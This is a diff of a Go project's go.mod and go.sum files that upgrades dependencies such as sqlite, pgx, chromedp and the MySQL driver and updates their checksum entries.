modernc.org/sqlite v1.16.0
|
||||
modernc.org/sqlite v1.20.4
|
||||
)
|
||||
|
||||
require (
|
||||
@@ -71,63 +70,55 @@ require (
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
|
||||
github.com/desertbit/closer/v3 v3.1.2 // indirect
|
||||
github.com/dlclark/regexp2 v1.4.0 // indirect
|
||||
github.com/fsnotify/fsnotify v1.4.9 // indirect
|
||||
github.com/dustin/go-humanize v1.0.0 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/go-ole/go-ole v1.2.6 // indirect
|
||||
github.com/go-sql-driver/mysql v1.6.0 // indirect
|
||||
github.com/go-sql-driver/mysql v1.7.0 // indirect
|
||||
github.com/gobwas/httphead v0.1.0 // indirect
|
||||
github.com/gobwas/pool v0.2.1 // indirect
|
||||
github.com/gobwas/ws v1.1.0 // indirect
|
||||
github.com/golang/protobuf v1.5.2 // indirect
|
||||
github.com/google/btree v1.0.1 // indirect
|
||||
github.com/google/go-cmp v0.5.8 // indirect
|
||||
github.com/hashicorp/errwrap v1.1.0 // indirect
|
||||
github.com/hashicorp/go-multierror v1.1.1 // indirect
|
||||
github.com/inconshreveable/mousetrap v1.0.0 // indirect
|
||||
github.com/jackc/chunkreader/v2 v2.0.1 // indirect
|
||||
github.com/jackc/pgconn v1.13.0 // indirect
|
||||
github.com/jackc/pgio v1.0.0 // indirect
|
||||
github.com/hashicorp/go-uuid v1.0.2 // indirect
|
||||
github.com/inconshreveable/mousetrap v1.0.1 // indirect
|
||||
github.com/jackc/pgpassfile v1.0.0 // indirect
|
||||
github.com/jackc/pgproto3/v2 v2.3.1 // indirect
|
||||
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
|
||||
github.com/jackc/pgtype v1.12.0 // indirect
|
||||
github.com/jackc/pgx/v4 v4.17.2 // indirect
|
||||
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect
|
||||
github.com/jackc/pgx/v5 v5.3.0 // indirect
|
||||
github.com/jcmturner/gofork v1.0.0 // indirect
|
||||
github.com/jinzhu/inflection v1.0.0 // indirect
|
||||
github.com/jinzhu/now v1.1.5 // indirect
|
||||
github.com/josharian/intern v1.0.0 // indirect
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
|
||||
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/mailru/easyjson v0.7.7 // indirect
|
||||
github.com/mattn/go-colorable v0.1.9 // indirect
|
||||
github.com/mattn/go-isatty v0.0.14 // indirect
|
||||
github.com/mattn/go-colorable v0.1.13 // indirect
|
||||
github.com/mattn/go-isatty v0.0.17 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.13 // indirect
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
|
||||
github.com/nxadm/tail v1.4.8 // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
|
||||
github.com/rivo/uniseg v0.2.0 // indirect
|
||||
github.com/spf13/pflag v1.0.5 // indirect
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
|
||||
github.com/yusufpapurcu/wmi v1.2.2 // indirect
|
||||
golang.org/x/mod v0.5.1 // indirect
|
||||
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 // indirect
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
|
||||
golang.org/x/tools v0.1.9 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
golang.org/x/tools v0.1.12 // indirect
|
||||
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
|
||||
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
|
||||
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
|
||||
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect
|
||||
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
|
||||
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
|
||||
gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
|
||||
gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
|
||||
gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
lukechampine.com/uint128 v1.1.1 // indirect
|
||||
modernc.org/cc/v3 v3.35.24 // indirect
|
||||
modernc.org/ccgo/v3 v3.15.18 // indirect
|
||||
modernc.org/libc v1.14.12 // indirect
|
||||
modernc.org/mathutil v1.4.1 // indirect
|
||||
modernc.org/memory v1.0.7 // indirect
|
||||
modernc.org/opt v0.1.1 // indirect
|
||||
modernc.org/strutil v1.1.1 // indirect
|
||||
modernc.org/token v1.0.0 // indirect
|
||||
lukechampine.com/uint128 v1.2.0 // indirect
|
||||
modernc.org/cc/v3 v3.40.0 // indirect
|
||||
modernc.org/ccgo/v3 v3.16.13 // indirect
|
||||
modernc.org/libc v1.22.2 // indirect
|
||||
modernc.org/mathutil v1.5.0 // indirect
|
||||
modernc.org/memory v1.4.0 // indirect
|
||||
modernc.org/opt v0.1.3 // indirect
|
||||
modernc.org/strutil v1.1.3 // indirect
|
||||
modernc.org/token v1.0.1 // indirect
|
||||
)
|
||||
@@ -19,12 +19,10 @@ github.com/Binject/universal v0.0.0-20210304094126-daefaa886313/go.mod h1:J3XDRl
|
||||
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
|
||||
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd h1:u7K2oMFMd8APDV3fM1j2rO3U/XJf1g1qC3DDTKou8iM=
|
||||
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
|
||||
github.com/Masterminds/semver/v3 v3.1.1 h1:hLg3sBzpNErnxhQtUy/mmLR2I9foDujNK030IGemrRc=
|
||||
github.com/Masterminds/semver/v3 v3.1.1/go.mod h1:VPu/7SZ7ePZ3QOrcuXROw5FAcLl4a0cBrbBpGY/8hQs=
|
||||
github.com/Microsoft/go-winio v0.5.1 h1:aPJp2QD7OOrhO5tQXqQoGSJc+DjDtWTGLOmNyAm6FgY=
|
||||
github.com/Microsoft/go-winio v0.5.1/go.mod h1:JPGBdM1cNvN/6ISo+n8V5iA4v8pBzdOpzfwIujj1a84=
|
||||
github.com/Ne0nd0g/go-clr v1.0.2 h1:jVD7iJyXaS3KhPiKetUnUAuLxgDlNSvYmPfMFK8E3VY=
|
||||
github.com/Ne0nd0g/go-clr v1.0.2/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
|
||||
github.com/Ne0nd0g/go-clr v1.0.3 h1:xt92wwuqY23ZSC7RuHD3mKu3K22Bk5NNbxI803vojK4=
|
||||
github.com/Ne0nd0g/go-clr v1.0.3/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
|
||||
github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
|
||||
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
|
||||
github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2 h1:+vx7roKuyA63nhn5WAunQHLTznkw5W8b1Xc0dNjp83s=
|
||||
@@ -48,10 +46,10 @@ github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA
|
||||
github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
|
||||
github.com/cheggaaa/pb/v3 v3.1.0 h1:3uouEsl32RL7gTiQsuaXD4Bzbfl5tGztXGUvXbs4O04=
|
||||
github.com/cheggaaa/pb/v3 v3.1.0/go.mod h1:YjrevcBqadFDaGQKRdmZxTY42pXEqda48Ea3lt0K/BE=
|
||||
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf h1:e0oJZmGJidTRZ0FvWXNhdj9OaOMN30Yf+T3K2Tf3L+s=
|
||||
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf/go.mod h1:5Y4sD/eXpwrChIuxhSr/G20n9CdbCmoerOHnuAf0Zr0=
|
||||
github.com/chromedp/chromedp v0.8.5 h1:HAVg54yQFcn7sg5reVjXtoI1eQaFxhjAjflHACicUFw=
|
||||
github.com/chromedp/chromedp v0.8.5/go.mod h1:xal2XY5Di7m/bzlGwtoYpmgIOfDqCakOIVg5OfdkPZ4=
|
||||
github.com/chromedp/cdproto v0.0.0-20230109101555-6b041c6303cc h1:pgBIUnhrsNh0Xi+8qUdHIP/nljIVz3laeRv23eqr45M=
|
||||
github.com/chromedp/cdproto v0.0.0-20230109101555-6b041c6303cc/go.mod h1:GKljq0VrfU4D5yc+2qA6OVr8pmO/MBbPEWqWQ/oqGEs=
|
||||
github.com/chromedp/chromedp v0.8.7 h1:dYOYc5ynTBzwSLOi+1IfgHwPr8r2BqV48l/RC+3OuJ0=
|
||||
github.com/chromedp/chromedp v0.8.7/go.mod h1:iL+ywnwk3eG3EVXV1ackXBMNzdEh3Ye/KHvQkq1KRKU=
|
||||
github.com/chromedp/sysutil v1.0.0 h1:+ZxhTpfpZlmchB58ih/LBHX52ky7w2VhQVKQMucy3Ic=
|
||||
github.com/chromedp/sysutil v1.0.0/go.mod h1:kgWmDdq8fTzXYcKIBqIYvRRTnYb9aNS9moAV0xufSww=
|
||||
github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE=
|
||||
@@ -66,12 +64,9 @@ github.com/cncf/xds/go v0.0.0-20210312221358-fbca930ec8ed/go.mod h1:eXthEFrGJvWH
|
||||
github.com/cncf/xds/go v0.0.0-20210805033703-aa0b78936158/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
|
||||
github.com/cncf/xds/go v0.0.0-20210922020428-25de7278fc84/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
|
||||
github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
|
||||
github.com/cockroachdb/apd v1.1.0 h1:3LFP3629v+1aKXU5Q37mxmRxX/pIu1nijXydLShEq5I=
|
||||
github.com/cockroachdb/apd v1.1.0/go.mod h1:8Sl8LxpKi29FqWXR16WEFZRNSz3SoPzUzeMeY4+DwBQ=
|
||||
github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
|
||||
github.com/coreos/go-systemd v0.0.0-20190719114852-fd7a80b32e1f/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
|
||||
github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY=
|
||||
github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
|
||||
github.com/creack/pty v1.1.17 h1:QeVUsEDNrLBW4tMgZHvxy18sKtr6VI492kBhUfhDJNI=
|
||||
github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
@@ -100,35 +95,26 @@ github.com/envoyproxy/go-control-plane v0.9.10-0.20210907150352-cf90f659a021/go.
|
||||
github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
|
||||
github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU=
|
||||
github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
|
||||
github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=
|
||||
github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=
|
||||
github.com/fatih/color v1.14.1 h1:qfhVLaG5s+nCROl1zJsZRxFeYrHLqWroPOQ8BWiNb4w=
|
||||
github.com/fatih/color v1.14.1/go.mod h1:2oHN61fhTpgcxD3TSWCgKDiH1+x4OiDVVGH8WlgGZGg=
|
||||
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ=
|
||||
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
|
||||
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
|
||||
github.com/fsnotify/fsnotify v1.4.9 h1:hsms1Qyu0jgnwNXIxa+/V/PDsU6CfLf6CNO8H7IWoS4=
|
||||
github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
|
||||
github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
|
||||
github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
|
||||
github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY=
|
||||
github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
|
||||
github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A=
|
||||
github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY=
|
||||
github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
|
||||
github.com/go-sql-driver/mysql v1.6.0 h1:BCTh4TKNUYmOmMUcQ3IipzF5prigylS7XXjEkfCHuOE=
|
||||
github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
|
||||
github.com/go-sql-driver/mysql v1.7.0 h1:ueSltNNllEqE3qcWBTD0iQd3IpL/6U+mJxLkazJ7YPc=
|
||||
github.com/go-sql-driver/mysql v1.7.0/go.mod h1:OXbVy3sEdcQ2Doequ6Z5BW6fXNQTmx+9S1MCJN5yJMI=
|
||||
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
|
||||
github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE=
|
||||
github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU=
|
||||
github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM=
|
||||
github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
|
||||
github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
|
||||
github.com/gobwas/ws v1.1.0 h1:7RFti/xnNkMJnrK7D1yQ/iCIB5OrrY/54/H930kIbHA=
|
||||
github.com/gobwas/ws v1.1.0/go.mod h1:nzvNcVha5eUziGrbxFCo6qFIojQHjJV5cLYIbezhfL0=
|
||||
github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/gofrs/uuid v4.3.0+incompatible h1:CaSVZxm5B+7o45rtab4jC2G37WGYX1zQfuU2i6DSvnc=
|
||||
github.com/gofrs/uuid v4.3.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/gofrs/uuid v4.4.0+incompatible h1:3qXRTX8/NbyulANqlc0lchS1gqAVxRgsuW1YrTJupqA=
|
||||
github.com/gofrs/uuid v4.4.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q=
|
||||
github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=
|
||||
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
|
||||
@@ -154,13 +140,11 @@ github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMyw
|
||||
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
||||
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE=
|
||||
github.com/google/go-cmp v0.5.8 h1:e6P7q2lk1O+qJJb4BtCQXlK8vWEO8V1ZeuEdJNOqZyg=
|
||||
github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
|
||||
github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
|
||||
github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38=
|
||||
github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26 h1:Xim43kblpZXfIBQsbuBVKCudVG457BR2GZFIz3uw3hQ=
|
||||
github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
|
||||
@@ -177,62 +161,25 @@ github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHh
|
||||
github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA=
|
||||
github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo=
|
||||
github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM=
|
||||
github.com/hashicorp/go-uuid v1.0.2 h1:cfejS+Tpcp13yd5nYHWDI6qVCny6wyX2Mt5SGur2IGE=
|
||||
github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
|
||||
github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
|
||||
github.com/hinshun/vt10x v0.0.0-20180809195222-d55458df857c/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
|
||||
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec h1:qv2VnGeEQHchGaZ/u7lxST/RaJw+cv273q79D81Xbog=
|
||||
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec/go.mod h1:Q48J4R4DvxnHolD5P8pOtXigYlRuPLGl6moFx3ulM68=
|
||||
github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
|
||||
github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM=
|
||||
github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=
|
||||
github.com/jackc/chunkreader v1.0.0/go.mod h1:RT6O25fNZIuasFJRyZ4R/Y2BbhasbmZXF9QQ7T3kePo=
|
||||
github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk=
|
||||
github.com/jackc/chunkreader/v2 v2.0.1 h1:i+RDz65UE+mmpjTfyz0MoVTnzeYxroil2G82ki7MGG8=
|
||||
github.com/jackc/chunkreader/v2 v2.0.1/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk=
|
||||
github.com/jackc/pgconn v0.0.0-20190420214824-7e0022ef6ba3/go.mod h1:jkELnwuX+w9qN5YIfX0fl88Ehu4XC3keFuOJJk9pcnA=
|
||||
github.com/jackc/pgconn v0.0.0-20190824142844-760dd75542eb/go.mod h1:lLjNuW/+OfW9/pnVKPazfWOgNfH2aPem8YQ7ilXGvJE=
|
||||
github.com/jackc/pgconn v0.0.0-20190831204454-2fabfa3c18b7/go.mod h1:ZJKsE/KZfsUgOEh9hBm+xYTstcNHg7UPMVJqRfQxq4s=
|
||||
github.com/jackc/pgconn v1.8.0/go.mod h1:1C2Pb36bGIP9QHGBYCjnyhqu7Rv3sGshaQUvmfGIB/o=
|
||||
github.com/jackc/pgconn v1.9.0/go.mod h1:YctiPyvzfU11JFxoXokUOOKQXQmDMoJL9vJzHH8/2JY=
|
||||
github.com/jackc/pgconn v1.9.1-0.20210724152538-d89c8390a530/go.mod h1:4z2w8XhRbP1hYxkpTuBjTS3ne3J48K83+u0zoyvg2pI=
|
||||
github.com/jackc/pgconn v1.13.0 h1:3L1XMNV2Zvca/8BYhzcRFS70Lr0WlDg16Di6SFGAbys=
|
||||
github.com/jackc/pgconn v1.13.0/go.mod h1:AnowpAqO4CMIIJNZl2VJp+KrkAZciAkhEl0W0JIobpI=
|
||||
github.com/jackc/pgio v1.0.0 h1:g12B9UwVnzGhueNavwioyEEpAmqMe1E/BN9ES+8ovkE=
|
||||
github.com/jackc/pgio v1.0.0/go.mod h1:oP+2QK2wFfUWgr+gxjoBH9KGBb31Eio69xUb0w5bYf8=
|
||||
github.com/jackc/pgmock v0.0.0-20190831213851-13a1b77aafa2/go.mod h1:fGZlG77KXmcq05nJLRkk0+p82V8B8Dw8KN2/V9c/OAE=
|
||||
github.com/jackc/pgmock v0.0.0-20201204152224-4fe30f7445fd/go.mod h1:hrBW0Enj2AZTNpt/7Y5rr2xe/9Mn757Wtb2xeBzPv2c=
|
||||
github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65 h1:DadwsjnMwFjfWc9y5Wi/+Zz7xoE5ALHsRQlOctkOiHc=
|
||||
github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65/go.mod h1:5R2h2EEX+qri8jOWMbJCtaPWkrrNc7OHwsp2TCqp7ak=
|
||||
github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc=
|
||||
github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
|
||||
github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM=
|
||||
github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=
|
||||
github.com/jackc/pgproto3 v1.1.0/go.mod h1:eR5FA3leWg7p9aeAqi37XOTgTIbkABlvcPB3E5rlc78=
|
||||
github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190420180111-c116219b62db/go.mod h1:bhq50y+xrl9n5mRYyCBFKkpRVTLYJVWeCc+mEAI3yXA=
|
||||
github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190609003834-432c2951c711/go.mod h1:uH0AWtUmuShn0bcesswc4aBTWGvw0cAxIJp+6OB//Wg=
|
||||
github.com/jackc/pgproto3/v2 v2.0.0-rc3/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM=
|
||||
github.com/jackc/pgproto3/v2 v2.0.0-rc3.0.20190831210041-4c03ce451f29/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM=
|
||||
github.com/jackc/pgproto3/v2 v2.0.6/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
|
||||
github.com/jackc/pgproto3/v2 v2.1.1/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
|
||||
github.com/jackc/pgproto3/v2 v2.3.1 h1:nwj7qwf0S+Q7ISFfBndqeLwSwxs+4DPsbRFjECT1Y4Y=
|
||||
github.com/jackc/pgproto3/v2 v2.3.1/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
|
||||
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b h1:C8S2+VttkHFdOOCXJe+YGfa4vHYwlt4Zx+IVXQ97jYg=
|
||||
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b/go.mod h1:vsD4gTJCa9TptPL8sPkXrLZ+hDuNrZCnj29CQpr4X1E=
|
||||
github.com/jackc/pgtype v0.0.0-20190421001408-4ed0de4755e0/go.mod h1:hdSHsc1V01CGwFsrv11mJRHWJ6aifDLfdV3aVjFF0zg=
|
||||
github.com/jackc/pgtype v0.0.0-20190824184912-ab885b375b90/go.mod h1:KcahbBH1nCMSo2DXpzsoWOAfFkdEtEJpPbVLq8eE+mc=
|
||||
github.com/jackc/pgtype v0.0.0-20190828014616-a8802b16cc59/go.mod h1:MWlu30kVJrUS8lot6TQqcg7mtthZ9T0EoIBFiJcmcyw=
|
||||
github.com/jackc/pgtype v1.8.1-0.20210724151600-32e20a603178/go.mod h1:C516IlIV9NKqfsMCXTdChteoXmwgUceqaLfjg2e3NlM=
|
||||
github.com/jackc/pgtype v1.12.0 h1:Dlq8Qvcch7kiehm8wPGIW0W3KsCCHJnRacKW0UM8n5w=
|
||||
github.com/jackc/pgtype v1.12.0/go.mod h1:LUMuVrfsFfdKGLw+AFFVv6KtHOFMwRgDDzBt76IqCA4=
|
||||
